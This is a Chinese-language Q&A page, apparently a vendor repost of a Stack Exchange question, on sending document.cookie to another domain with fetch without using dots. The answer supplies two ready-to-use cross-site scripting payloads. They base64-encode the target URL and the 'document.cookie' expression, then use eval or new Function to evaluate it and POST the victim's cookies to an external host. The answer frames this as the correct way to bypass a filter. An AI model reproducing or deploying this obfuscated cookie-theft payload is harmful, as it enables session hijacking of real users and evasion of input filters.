You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

JS中避免使用点:如何通过fetch发送document.cookie到指定域名

解决方案

你遇到的核心问题是混淆了静态字符串和动态表达式的处理:

  • 你的URL是静态字符串,编码成base64后用atob解码就能直接得到可用的URL字符串;
  • 但document.cookie是一个动态表达式,它的值是当前页面的Cookie内容,如果你只是把字符串"document.cookie"编码成base64,atob解码后得到的只是这个字符串文本,而不是实际的Cookie值。

正确实现方式

要通过base64间接获取document.cookie的值,需要把表达式字符串解码后执行,再把结果作为请求体。可以用以下两种方式实现:

方法1:使用eval

fetch(atob('aHR0cHM6Ly9xb2k0dmk0dm9yd3pmdXVpOGxmYzY0czJ6dDVsdGJoMC5leGFtcGxlLmNvbQ=='), {
  method: 'POST',
  mode: 'no-cors',
  body: eval(atob('ZG9jdW1lbnQuY29va2ll'))
})

方法2:使用Function构造函数(相对更安全)

fetch(atob('aHR0cHM6Ly9xb2k0dmk0dm9yd3pmdXVpOGxmYzY0czJ6dDVsdGJoMC5leGFtcGxlLmNvbQ=='), {
  method: 'POST',
  mode: 'no-cors',
  body: new Function('return ' + atob('ZG9jdW1lbnQuY29va2ll'))()
})

原理说明

  1. atob('ZG9jdW1lbnQuY29va2ll') 解码后得到字符串 "document.cookie";
  2. 通过eval或Function执行这个字符串表达式,就能获取到当前页面实际的Cookie内容;
  3. 最终把Cookie值作为body传入fetch请求。

内容的提问来源于stack exchange,提问作者aDoN

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.06 23:45:27